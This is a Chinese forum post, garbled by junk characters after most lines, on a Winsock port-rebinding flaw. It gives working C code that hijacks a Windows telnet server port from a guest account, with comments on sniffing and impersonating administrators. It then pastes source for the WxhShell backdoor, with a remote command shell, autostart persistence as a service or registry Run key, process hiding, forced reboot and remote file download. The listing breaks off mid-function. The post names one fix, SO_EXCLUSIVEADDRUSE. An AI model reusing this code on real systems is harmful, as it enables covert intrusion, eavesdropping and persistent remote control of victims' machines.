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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P]hS0,sE<(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O+~.p  
KAH9?zI)M  
  saddr.sin_family = AF_INET; 2A'!kd$2  
U`Bw2Vdk]S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Uv?s<  
Q$ r1beA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Vw0cf;  
u?6L.^Op  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gx~79;6  
/ZlPEs)  
  这意味着什么?意味着可以进行如下的攻击: hDTiXc  
:d\ne  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7/%{7q3G>  
oju)8H1o#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qP@d)XRQ  
^o^[p %  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '_!j9A]g  
Q[+&n*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1ga.%M*  
t ' _Au8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p w(eWP  
r6k0=6i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 HF>Gf2- C  
=>Ss:SGjT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Jv(9w[  
H=b54.J8&  
  #include e }>8rnR{  
  #include [ aC7  
  #include IO3`/R-  
  #include    ?\[2Po]n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #'m&<g,  
  int main() m:U.ao6  
  { gw[\7  
  WORD wVersionRequested; `@?f@p$(B  
  DWORD ret; <,/k"Y=  
  WSADATA wsaData; 9ReH@5_bGM  
  BOOL val; Sz4G,c  
  SOCKADDR_IN saddr; (s`oJLW>  
  SOCKADDR_IN scaddr; P6q`i<  
  int err; I!'PvIyO  
  SOCKET s; AfAg#75q  
  SOCKET sc; 3>LyEXOW  
  int caddsize; U^+xCX<  
  HANDLE mt; wc@X:${  
  DWORD tid;   .PjJ g^^  
  wVersionRequested = MAKEWORD( 2, 2 ); |KEq-  
  err = WSAStartup( wVersionRequested, &wsaData );  =d07c  
  if ( err != 0 ) { ?z,^QjQ}  
  printf("error!WSAStartup failed!\n"); IRy!8A=X  
  return -1; K6"#&0  
  } ::bK{yZm   
  saddr.sin_family = AF_INET; fNjxdG{a  
   =fk+"!-i%"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &+F|v(|r  
+|6 '7Z(9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F-K=Ot j  
  saddr.sin_port = htons(23); F~j U;L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /O@'XWW  
  { `-qRZh@E  
  printf("error!socket failed!\n"); ACQbw)tiv}  
  return -1; m?LnO5Vs  
  } ` @.  
  val = TRUE; 29eg.E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z(g9rz']0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FnkB z5D  
  { 2(SK}<X  
  printf("error!setsockopt failed!\n"); MR8\'0]  
  return -1; z@@w?>*  
  } Lbb{z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K5X,J/n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O7r<6(q(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9[.vtk\iyH  
a3}#lY):  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GMc{g  
  { |.kYomJ   
  ret=GetLastError(); Hj&mwn]  
  printf("error!bind failed!\n"); pPr/r& r  
  return -1; rHhn)m  
  } ] Tc!=SV  
  listen(s,2); cH$zDm1  
  while(1) />1Ndj  
  { (S ~|hk^  
  caddsize = sizeof(scaddr); 43_;Z| T  
  //接受连接请求 j TVh`d< N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :|%dV}j  
  if(sc!=INVALID_SOCKET) BN!N_r  
  { )Rhy^<xH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E+XpgR5  
  if(mt==NULL) 8)I,WWj  
  { rKZ1 c,y  
  printf("Thread Creat Failed!\n"); Bl,rvk2  
  break; Fqtgw8  
  } FFE IsB"9  
  } fAx7_}k/ m  
  CloseHandle(mt); -9Iz$ (>a  
  } I_vPGafMx  
  closesocket(s); w7n6@"q  
  WSACleanup(); M9mC\Iz[  
  return 0; M7D@Uj&xx(  
  }   9OIX5$,S;  
  DWORD WINAPI ClientThread(LPVOID lpParam) v=n'#:k  
  { @WcK<Qho  
  SOCKET ss = (SOCKET)lpParam; (W*~3/@D  
  SOCKET sc; {\tHS+]  
  unsigned char buf[4096]; ^A9D;e6!-  
  SOCKADDR_IN saddr; K.A!?U=  
  long num; Z7 \gj`  
  DWORD val; zk)9tm;i{  
  DWORD ret; Q_p!;3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +(>!nsf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #ma#oWqF}  
  saddr.sin_family = AF_INET; +h!OdWD9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jVh I`F{n  
  saddr.sin_port = htons(23); ^T}6o Ud  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &zVF!xNy&  
  { *.g0;\HF  
  printf("error!socket failed!\n"); UclQo~ 3  
  return -1; y\}39Z(]  
  } UzLe#3MU  
  val = 100; hAHZN^x&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X^L)5n+$X  
  { z$'_ =9yZ  
  ret = GetLastError(); ZY%]F,Y  
  return -1; ,,*i!%Adw  
  } 4]\ f}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T<!&6,N A  
  { [c6I/U=-  
  ret = GetLastError(); yc|j]?  
  return -1; eUiJl6^x  
  } )ZkQWiP-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [" '0vQ  
  { M,0@@:  
  printf("error!socket connect failed!\n"); eURy]  
  closesocket(sc); Ift @/A  
  closesocket(ss); YXD6GJWo  
  return -1; 3$YgGum  
  } caA>; +aBH  
  while(1) tx-HY<  
  { SoS GQ&k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vo'=d"zm  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yn;h.m[):  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V?{[IMRC  
  num = recv(ss,buf,4096,0); -49z.(@ki  
  if(num>0) d1=kHU4_9  
  send(sc,buf,num,0); !1MSuvWP  
  else if(num==0) ]?<j]u0J  
  break; .A;D-"!  
  num = recv(sc,buf,4096,0); Z,'#=K  
  if(num>0) 8"2 Y$*)(  
  send(ss,buf,num,0); 6#NptXB  
  else if(num==0) XwlA W7lU=  
  break; <OG rC .k}  
  } }m6zu'CV  
  closesocket(ss); {fsU(Jj\  
  closesocket(sc); ~WS;)Q0|  
  return 0 ; I?sA)!8  
  } 2{t i])  
U1&pcwP  
J \iyc,M<M  
========================================================== mp2J|!Lx  
-7_`6U2"  
下边附上一个代码,,WXhSHELL vB0O3]  
'qRK6}"T  
========================================================== >UTAk  
@^Tof5?F?  
#include "stdafx.h" l#8SlRji  
tz(\|0WDQ  
#include <stdio.h> w#v8a$tT  
#include <string.h> Z P\A  
#include <windows.h> Wb!"L`m  
#include <winsock2.h> )wU.|9o]M  
#include <winsvc.h> JX_hLy@`  
#include <urlmon.h> e/@tU'$  
)9sRDNr  
#pragma comment (lib, "Ws2_32.lib") & i,on6  
#pragma comment (lib, "urlmon.lib") i#I+   
hdB.u^!  
#define MAX_USER   100 // 最大客户端连接数 a9rn[n1Q  
#define BUF_SOCK   200 // sock buffer m>4jRr6sF  
#define KEY_BUFF   255 // 输入 buffer Y)@mL~){  
I>k >^  
#define REBOOT     0   // 重启 ^WDAW#f*<  
#define SHUTDOWN   1   // 关机 )+]8T6~ N  
q$vATT  
#define DEF_PORT   5000 // 监听端口 S4RvWTtQV  
m&)5QX  
#define REG_LEN     16   // 注册表键长度 L(tA~Z"k  
#define SVC_LEN     80   // NT服务名长度 _= RA-qZ"  
_is<.&f6  
// 从dll定义API 74*1|S <  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }]w/`TF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r3X|*/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); as\6XW$;Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W@NM~+)e  
x\ieWF1  
// wxhshell配置信息 O[ O`4de9  
struct WSCFG { 9W$d'IA  
  int ws_port;         // 监听端口 +QNFu){G  
  char ws_passstr[REG_LEN]; // 口令 Y40Hcc+Fx  
  int ws_autoins;       // 安装标记, 1=yes 0=no +hdD*}qauC  
  char ws_regname[REG_LEN]; // 注册表键名  |*079v  
  char ws_svcname[REG_LEN]; // 服务名 [t55Kz*cD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5ru&In&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C2GF N1i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I8r5u=PH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H"PnX-fGN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a\an  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ..yuEA  
_RG!lmJV  
}; b#p)bcz!I  
6Q]c]cCu  
// default Wxhshell configuration X+;F5b9z  
struct WSCFG wscfg={DEF_PORT, 'LZF^m _<<  
    "xuhuanlingzhe",  j I  
    1,  /1-  
    "Wxhshell", jbQ2G|:Q  
    "Wxhshell", fu|N{$h%X  
            "WxhShell Service", J%']t$ AR  
    "Wrsky Windows CmdShell Service", 5p6Kq=jhb  
    "Please Input Your Password: ", [KXxn>n  
  1, w[w{~`([",  
  "http://www.wrsky.com/wxhshell.exe", D8P<mIu}Y  
  "Wxhshell.exe" `_Bvae j?,  
    }; %lZ++?&^  
j.MpQ^eJ7  
// 消息定义模块 8%s ^>.rG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eCB(!Y|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a p-\R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $"[1yQ<p  
char *msg_ws_ext="\n\rExit."; Z&W|O>QTl  
char *msg_ws_end="\n\rQuit."; mIVnc`3s  
char *msg_ws_boot="\n\rReboot..."; P<b.;Oz__-  
char *msg_ws_poff="\n\rShutdown..."; qM F'&  
char *msg_ws_down="\n\rSave to "; ,)mqd2)+"  
6|U0"C#]  
char *msg_ws_err="\n\rErr!"; BCV<( @c  
char *msg_ws_ok="\n\rOK!"; ,eq[X\B>  
+5Z0-N@  
char ExeFile[MAX_PATH]; o)'u%m  
int nUser = 0; $ wGDk  
HANDLE handles[MAX_USER]; y'?|#%D  
int OsIsNt; /G$8j$  
J<x?bIetj  
SERVICE_STATUS       serviceStatus; U,"lOG'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i:`ur  
? lC. Pq  
// 函数声明 A#~"Gp  
int Install(void); zmkqqiDp_  
int Uninstall(void); _+0l+a*D  
int DownloadFile(char *sURL, SOCKET wsh); @AUx%:}0Y:  
int Boot(int flag); )c=R)=N  
void HideProc(void); xZjl_ b J  
int GetOsVer(void); 7|3Qcn7P)@  
int Wxhshell(SOCKET wsl); wsp&U .z  
void TalkWithClient(void *cs); xN wKTIK$  
int CmdShell(SOCKET sock); R? Y#>K  
int StartFromService(void); YK*2  
int StartWxhshell(LPSTR lpCmdLine); &T?>Kx  
HM%n`1ZU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v0!>":  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >B$ZKE  
A+%oE  
// 数据结构和表定义 F\ !;}z  
SERVICE_TABLE_ENTRY DispatchTable[] = =W)Fa6P3j(  
{ hGi"=Oud2  
{wscfg.ws_svcname, NTServiceMain}, MfUG@  
{NULL, NULL} xkR--/f  
}; "- xm+7  
r{qM!(T  
// 自我安装 SeAokz>  
int Install(void) uEQH6~\{Nl  
{ I@P[}XS  
  char svExeFile[MAX_PATH]; kzr9-$eb  
  HKEY key; :@w ;no>=*  
  strcpy(svExeFile,ExeFile); 21GjRPs\  
,c"_X8Fkx$  
// 如果是win9x系统,修改注册表设为自启动 G1M}g8 ]h  
if(!OsIsNt) { ~k+"!'1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P0U=lj/ b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x8%Q TTY  
  RegCloseKey(key); }xTTz,Oj$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |33pf7o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j>~^jz:  
  RegCloseKey(key); uy\< t  
  return 0; T/G1v;]  
    } [7B:{sH  
  } $wU.GM$t~  
} c38RE,4U  
else { }Q_IqI[7  
yrO'15TB  
// 如果是NT以上系统,安装为系统服务 FT73P0!8.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i_ws*7B<  
if (schSCManager!=0) z<c^<hE:l  
{ %Rv&VFg  
  SC_HANDLE schService = CreateService BDZB;DPb  
  ( eKn&`\j6  
  schSCManager, %)*!(%\S*3  
  wscfg.ws_svcname, W"4E0!r  
  wscfg.ws_svcdisp, {EbR =  
  SERVICE_ALL_ACCESS, STu!v5XY}-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g[Ah> 5  
  SERVICE_AUTO_START, ;[WW,,!Y  
  SERVICE_ERROR_NORMAL, %@q52ZQ  
  svExeFile, '1;Q'-/J  
  NULL, aWek<Y~+  
  NULL, @uz&]~+`  
  NULL, yCkfAx8 ]  
  NULL, '-3AWBWI1  
  NULL !>b>"\b  
  ); i`7{q~d=  
  if (schService!=0) iaXNf ])?  
  { P{5p'g ,  
  CloseServiceHandle(schService); t,= ta{ a  
  CloseServiceHandle(schSCManager);  CJg &  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T+NEw8C?/  
  strcat(svExeFile,wscfg.ws_svcname); wxpD{P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6~?7CK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /S1EQ%_  
  RegCloseKey(key); r<V]MwO=  
  return 0; > C{^{?~u  
    } mbv\Gn#>  
  } ,@%1q)S?A  
  CloseServiceHandle(schSCManager); Ei Wy`H;  
} @/H1}pM~  
} sR,]eo<p&  
*X\i= K!  
return 1; 1i#uKKwE  
} :s+AIo6  
rxCEOG  
// 自我卸载 jV8mn{<  
int Uninstall(void) +`9 ]L]J]4  
{ JV(eHuw  
  HKEY key; g 'c4&Do  
#)q}Jw4]j  
if(!OsIsNt) { _CAW D;P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tY !fO>Fn~  
  RegDeleteValue(key,wscfg.ws_regname); ~1wAk0G`n  
  RegCloseKey(key); xB3;%Lc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >8Zz<S&z  
  RegDeleteValue(key,wscfg.ws_regname); 67%eAS  
  RegCloseKey(key); Mcc774'*9  
  return 0; jVL<7@_*  
  } ^"v~hjM#  
} UevbLt1Y  
} TYWajcch  
else { *XS@Ku  
[ik D4p=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?l`DkUo*j  
if (schSCManager!=0) j(F%uUpN  
{ QZef=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i0{pm q  
  if (schService!=0) x68J [; jm  
  { lG>rf*ei~  
  if(DeleteService(schService)!=0) { #9O *@  
  CloseServiceHandle(schService); u$[ '}z0:  
  CloseServiceHandle(schSCManager); hJ.XG<?]$  
  return 0; vmJ1-<G4*  
  } ~6.AE/ow  
  CloseServiceHandle(schService); fF[n?:VV  
  } En8-Hc#NC  
  CloseServiceHandle(schSCManager); qqT6C%Q`kG  
} hD{+V!{  
} B<DvH"+$  
^~-i>gTD  
return 1; I !9u](\0  
} ]0by6hQ  
cf1Ve\(YGI  
// 从指定url下载文件 .3qaaXeH  
int DownloadFile(char *sURL, SOCKET wsh) suj? e6  
{ GBtBmV/`  
  HRESULT hr; n9gj{]%  
char seps[]= "/"; xB]~%nC[O  
char *token; 0z&3jWWY@  
char *file; pD##lkJr  
char myURL[MAX_PATH]; ;[0<QmeI!  
char myFILE[MAX_PATH]; AOWX=`J8V  
OgyETSN8C  
strcpy(myURL,sURL); d?WA}VFU  
  token=strtok(myURL,seps); wX8T;bo&  
  while(token!=NULL) ~/Aw[>_;  
  { Qc\JUm]  
    file=token; ':!w%& \  
  token=strtok(NULL,seps); 6hXL`A&},  
  } y`:}~nUdT  
T9KzVxHp5  
GetCurrentDirectory(MAX_PATH,myFILE); '[I_Iu#,  
strcat(myFILE, "\\"); H:#b(&qw2  
strcat(myFILE, file); ?(Dkh${@  
  send(wsh,myFILE,strlen(myFILE),0); 9 H2^4D8  
send(wsh,"...",3,0); YoGnk^$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `j(\9j ok  
  if(hr==S_OK) QUb#;L@okn  
return 0; n%I%Kbw  
else x?KgEcnw2X  
return 1; {2R b^K  
%*e6@Hm  
} ?,%vndI  
)s,L:{<  
// 系统电源模块 !~04^(  
int Boot(int flag) p&B98c  
{ Me yQ`%  
  HANDLE hToken; vi4u `  
  TOKEN_PRIVILEGES tkp; 2al%J%  
!Y!Cv %  
  if(OsIsNt) { @JT9utct  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5(1Zj`>'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  IKKd  
    tkp.PrivilegeCount = 1; L-^vlP)Vu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3^q,'!PfB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4} 'Xrg  
if(flag==REBOOT) { O;ZU{VY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7]d396%  
  return 0; C 6Bh[:V&  
} 2uZ <q?=  
else { :1q+[T/ @  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A1{P"p!  
  return 0; -_ .f&l8  
} .6xP>!E}Q  
  } ,E3"Ai sI  
  else { {r`l  
if(flag==REBOOT) { zwN;CD1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) skR/Wf9DH  
  return 0; iUi{)xa2  
} I$\dT1m$  
else { Ljq/f& c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $@FD01h.t3  
  return 0; 6%JKY+n^  
} @L { x;  
} +G"=1sxJ  
yrnB]$hf  
return 1; pAtHU(}  
} eU1= :n&&\  
nj!)\U  
// win9x进程隐藏模块 ~7Kqc\/H&I  
void HideProc(void) Vs]+MAL  
{ $/}*HWVZ  
lzBy;i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ht5 %fcD  
  if ( hKernel != NULL ) Qpndi$2H!  
  { j.uN`cU!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -i V&-oP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }el. qZ  
    FreeLibrary(hKernel); e7t).s)b{  
  } >1`FR w<  
P1vr}J  
return; Vpt)?];P  
} R<Ojaj=V  
H;k;%Zg;  
// 获取操作系统版本 xoTS?7  
int GetOsVer(void) !oLrN/-  
{ R,C)|*ef  
  OSVERSIONINFO winfo; 0J_ AX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5znLpBX<N  
  GetVersionEx(&winfo); ({yuwH?tH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Cmm"K[>Rx  
  return 1; d;Z<")  
  else >T%Jlj3ZG  
  return 0; ~cz] Rhq  
} Dn) =V.  
S5@/;T  
// 客户端句柄模块 9qIUBHe  
int Wxhshell(SOCKET wsl)  $Tfq9  
{ t LdBnf  
  SOCKET wsh; a^'1o9  
  struct sockaddr_in client; $yIcut7  
  DWORD myID; },2-\-1  
hqnJ@N$yY  
  while(nUser<MAX_USER) &32qv` V_  
{ ;DL|%-%;$r  
  int nSize=sizeof(client); k~>9,=::d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DifRpj I-0  
  if(wsh==INVALID_SOCKET) return 1; N;>>HN[bBP  
U# ueG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tE]g*]o  
if(handles[nUser]==0) *qAF#  
  closesocket(wsh); V5i_\A  
else ^TyusfOz  
  nUser++; qBpv[m  
  } GD}3 r:wDs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i)1E[jc{p!  
g:q+.6va"  
  return 0; n>Y3hY  
} RsIEY5Q  
2xZg, \  
// 关闭 socket bJmVq%>;  
void CloseIt(SOCKET wsh) z2A7:[  
{ 218ZUg -a  
closesocket(wsh); e(O"V3wq*6  
nUser--; CJ%bBL'.  
ExitThread(0); J`Q#p%W  
} ,a~- (@  
$ThkK3  
// 客户端请求句柄 VSc;}LH  
void TalkWithClient(void *cs) 593D/^}D  
{ %o.{h  
 # G0jMQ  
  SOCKET wsh=(SOCKET)cs; l5l:'EY>  
  char pwd[SVC_LEN]; *ukE"Aj  
  char cmd[KEY_BUFF]; oIAP dn  
char chr[1]; mrS:|| ,_  
int i,j; 6~ev5SD;f  
6,ylk f3  
  while (nUser < MAX_USER) { GX4# IRq  
g0 \c  
if(wscfg.ws_passstr) { IwiR2K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B!jT@b{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +D& W!m  
  //ZeroMemory(pwd,KEY_BUFF); 9e@Sx{?r  
      i=0; 9\0  
  while(i<SVC_LEN) { 6(f[<V!r  
MR:Co4(  
  // 设置超时 {()8 W r  
  fd_set FdRead; DO'$J9;*  
  struct timeval TimeOut; oQBfDD0  
  FD_ZERO(&FdRead); f5IO<(:E^  
  FD_SET(wsh,&FdRead); 5#!pwjt~7  
  TimeOut.tv_sec=8; wv # 1s3  
  TimeOut.tv_usec=0; ]/XNfb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M@[{j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hug8Hhf_&  
(@vu/yN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n"Ot'1yr  
  pwd=chr[0]; 8B"jvrs  
  if(chr[0]==0xd || chr[0]==0xa) { g|a2z_R  
  pwd=0; <*<7p{x  
  break; WFocA:  
  } <VS\z(K  
  i++; x\)0+c~\}x  
    } KA# 4iu{  
M~t S *  
  // 如果是非法用户,关闭 socket Ratg!l|'-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8j. 9Sk/  
} hub1rY|No  
m jC6(?V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L NmsvU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v[T5D:  
!G.)%+Z  
while(1) { Y.Na9&-(  
n{J<7I e"*  
  ZeroMemory(cmd,KEY_BUFF); d}GO(  
'=EaZ>=  
      // 自动支持客户端 telnet标准   ExqI=k`Zs  
  j=0; hs}nI/#  
  while(j<KEY_BUFF) { U{ gJn#e/.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]7}2"?J4v  
  cmd[j]=chr[0]; ]xBQ7Xqf|  
  if(chr[0]==0xa || chr[0]==0xd) { ^EdY:6NJ=A  
  cmd[j]=0; pP;GDW4  
  break; D:sQHJ. y  
  } v4kk4}lE  
  j++; r3<yG"J86  
    } ?*zRM?*  
\/I@&$"F  
  // 下载文件 / Li?;H  
  if(strstr(cmd,"http://")) { u~=>$oT't  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *q{/`Z{wy  
  if(DownloadFile(cmd,wsh)) 9]r6V   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ymT&[+V  
  else m;)[gF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $/ew'h9q  
  } qP-*  
  else { ;?"2sS!AHQ  
3N|,c]|  
    switch(cmd[0]) { W2J"W=:z  
  0&E{[~Pv  
  // 帮助 J b Hn/$  
  case '?': { NdZv*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T52A}vf4  
    break; j4$XAq~W  
  } OWT5Bjl  
  // 安装 3#}5dO  
  case 'i': { ?u{y[pI6  
    if(Install())  ~,Ck  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yxh8sAZ  
    else Z.Z+cFi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R_eKKi@VH  
    break; l 3bo  
    } BFc=GiPnQ  
  // 卸载 Q9=X|  
  case 'r': { {.v-  
    if(Uninstall()) f5<qF ]Y/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); USy^Y?~ ;  
    else \2~Cn c*O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v@TP_Ka  
    break; y[BUWas(  
    } jk,: IG  
  // 显示 wxhshell 所在路径 k;/U6,LQ*  
  case 'p': { @JVax-N  
    char svExeFile[MAX_PATH]; ZNNgi@6>  
    strcpy(svExeFile,"\n\r"); N '2Nv  
      strcat(svExeFile,ExeFile); ig3HPlC  
        send(wsh,svExeFile,strlen(svExeFile),0); Vi[* a  
    break; EH<rUv63  
    } #G%[4.$n.  
  // 重启 9ar+Ph@*  
  case 'b': { DyIuM{Owj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ue@ fry  
    if(Boot(REBOOT)) |fkz=*rn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eS{lr4-]  
    else { E8j>Toz  
    closesocket(wsh); {{w5F2b((%  
    ExitThread(0); c,-3+b  
    } oMk6ZzZ,>  
    break; cL}} ^  
    } $x#0m  
  // 关机 *J,VvO 9  
  case 'd': { T!u&r  
